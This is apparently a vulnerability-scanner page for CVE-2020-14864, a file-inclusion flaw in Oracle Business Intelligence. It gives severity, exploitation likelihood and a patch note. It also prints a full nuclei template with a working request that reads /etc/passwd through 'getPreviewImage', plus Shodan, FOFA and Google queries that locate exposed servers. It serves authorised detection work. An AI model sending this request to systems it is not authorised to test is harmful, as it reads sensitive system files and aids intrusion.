Oracle Fusion - Directory Traversal/Local File Inclusion

Exploited in the wild. Listed by CISA on 2022-01-18; known to be used by ransomware.

highseverity

7.5CVSS score

97.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Oracle Business Intelligence Enterprise Edition 5.5.0.0.0, 12.2.1.3.0, and 12.2.1.4.0 are vulnerable to local file inclusion vulnerabilities via "getPreviewImage."

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.

Fix

Apply the latest security patches and updates provided by Oracle to fix this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/analytics/saw.dll?bieehome&startPage=1 ; GET {{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-14864 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-14864

info:
  name: Oracle Fusion - Directory Traversal/Local File Inclusion
  author: Ivo Palazzolo (@palaziv)
  severity: high
  description: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0, 12.2.1.3.0, and 12.2.1.4.0 are vulnerable to local file inclusion vulnerabilities via "getPreviewImage."
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.
  remediation: |
    Apply the latest security patches and updates provided by Oracle to fix this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/159748/Oracle-Business-Intelligence-Enterprise-Edition-5.5.0.0.0-12.2.1.3.0-12.2.1.4.0-LFI.html
    - https://www.oracle.com/security-alerts/cpuoct2020.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14864
    - https://github.com/merlinepedra/nuclei-templates
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-14864
    cwe-id: CWE-22
    epss-score: 0.97233
    epss-percentile: 0.99895
    cpe: cpe:2.3:a:oracle:business_intelligence:5.5.0.0.0:*:*:*:enterprise:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: business_intelligence
    shodan-query: http.title:"oracle business intelligence sign in"
    fofa-query: title="oracle business intelligence sign in"
    google-query: intitle:"oracle business intelligence sign in"
  tags: cve,cve2020,oracle,lfi,kev,packetstorm,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1'
      - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from